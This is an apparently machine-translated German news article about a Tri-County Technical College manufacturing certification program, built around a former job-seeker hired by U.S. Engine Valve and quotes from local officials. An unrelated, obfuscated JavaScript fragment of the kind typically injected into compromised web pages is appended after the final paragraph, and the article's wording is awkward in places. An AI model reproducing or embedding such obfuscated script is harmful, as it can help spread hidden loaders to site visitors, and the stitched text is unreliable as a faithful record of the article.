Von Greg Oliver
PENDLETON — Als Tristan Worley seinen Job verlor, gibt er zu, dass es ein wenig beängstigend wurde.
„Ich suchte nach einer Möglichkeit, für meine Familie zu sorgen“, sagte Worley. „Ich bewarb mich überall, wo ich konnte, aber die meisten waren Zeitarbeitsdienste, die schlecht bezahlten.“
Worley besuchte eine Jobmesse am Tri-County Technical College und erfuhr von einer Stipendienmöglichkeit. Die Klasse war eine Woche der Arbeitsbereitschaft Ausbildung und eine Mischung aus branchenbezogenen Grundfertigkeits-Ausbildungsmodulen und Berufserfahrung in lokalen Industrien.
Worley wurde zwei Wochen vor Abschluss der Klasse als Produktionstechniker bei U.S. Engine Valve in Westminster eingestellt und strebt nun seinen Abschluss in Industrieelektronik bei Tech an.
„Sie sind ein großartiges Unternehmen und bieten viel Arbeitsplatzsicherheit“, sagte Worley. „Ich wollte ein Unternehmen, das auf seine Leute achtet und das ist wie Familie und viele Leute haben 15 Jahre perfekte Teilnahme erreicht. Sie wollen da sein.“
Während das Programm Worleys Leben zum Besseren veränderte, haben die an der Entwicklung beteiligten Personen das Programm mit einem neuen Namen – dem South Carolina Manufacturing Certification Program – überarbeitet und das Angebot für Studenten verbessert.
Während eines Donnerstag-Frühstücks im College gaben die Beamten Details zu den Änderungen bekannt. Zu den Verbesserungen gehörten die Ergänzung des Curriculums durch zusätzliche Komponenten und Zertifizierungen – einschließlich OSHA, Six Sigma und Snap-On – und die Verwendung praktischer Simulationen, um das Verständnis der Schüler für moderne Fertigungsprozesse zu verbessern.
Offiziellen Angaben zufolge wurden die Lehrplanänderungen entwickelt, um den lokalen Industrien eine Pipeline von qualifizierten Einsteigern zur Verfügung zu stellen.
„Einer der Gründe, warum Menschen keine Arbeit haben, ist der Mangel an Fähigkeiten“, sagt Richard Parker, Programmdirektor des Center for Workforce Excellence bei Tech. „South Carolina ist der Nation voraus, indem es Menschen ausbildet, die bereits da sind oder durch die Ausbildung durch die Tür kommen.“
SCMC ist ein 200-Stunden-Curriculum, das die Möglichkeit beinhaltet, acht national anerkannte Zertifizierungen zu erwerben. Zu den Themen gehören Arbeitssicherheit, Qualität, Baupläne und Messungen, Produktionsprozesse und ein grundlegendes Verständnis von Industrieanlagen und Wartung.
Die Teilnehmer müssen auch ein Abitur oder GED und ein Silver Career Readiness Certificate erhalten, indem sie die ACT WorkKeys Bewertungen, die ebenfalls kostenlos angeboten werden. Die erste SCMC 10-Wochen-Klasse hat derzeit 11 Personen und diejenigen, die das Programm abschließen, erhalten ein Anmeldenachweise, das den Industriestandards entspricht.
Whitlock sagte, dass jedes Unternehmen in South Carolina, das einen Lehrling registriert, eine Steuergutschrift in Höhe von 1.000 US-Dollar pro Jahr für bis zu vier Jahre erhält, was dazu beiträgt, die Ausbildungskosten auszugleichen.
Mary Ann Craft, Personalleiterin bei US Engine Valve, das insgesamt rund 400 Mitarbeiter beschäftigt, sagte, das Werk suche Fachkräfte, habe aber keine Montagearbeiten zu bieten.
„Es sind alles Maschinisten und was dieses Programm macht, ist Leute wie Tristan zu bringen, die den Wunsch haben, sich für eine Ausbildung zu bewerben“, sagte Craft. Sie sagte, Worley arbeite jetzt Vollzeit, während er seinen Abschluss suche, der von der Anlage finanziert wird.
„Wir haben große Pläne für ihn“, sagte Craft. „Wir wollen, dass er in den Fertigungs- und Technikbereich wechselt.“
Die Top-Wirtschaftschefs der Landkreise Oconee und Pickens, die ebenfalls am Frühstück teilnahmen, sagten, das überarbeitete Zertifizierungsprogramm sei eine spannende Nachricht.
„Eines der wichtigsten Instrumente, die die wirtschaftliche Entwicklung vorantreiben, ist die Fähigkeit, Kompetenzen für Arbeitsplätze in der Fertigung zu vermitteln“, sagte Richard Blackwell, Direktor für wirtschaftliche Entwicklung im Oconee County. „Wir glauben, dass dies das nächste Kapitel für die wirtschaftliche Entwicklung in Oconee County ist.“
Ray Farley, Executive Director von Alliance Pickens, sagte, SCMC werde „ein wertvolles Werkzeug für unsere bestehenden Industrien und neu eingestellten Branchen“ sein.
„Die Verfügbarkeit von Kompetenzen ist eine Prämie auf unserem Markt, und dieses Programm wird ein Bein auf die Verbesserung der Kompetenzentwicklung bieten, um den Markt zufrieden zu stellen“, sagte Farley.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};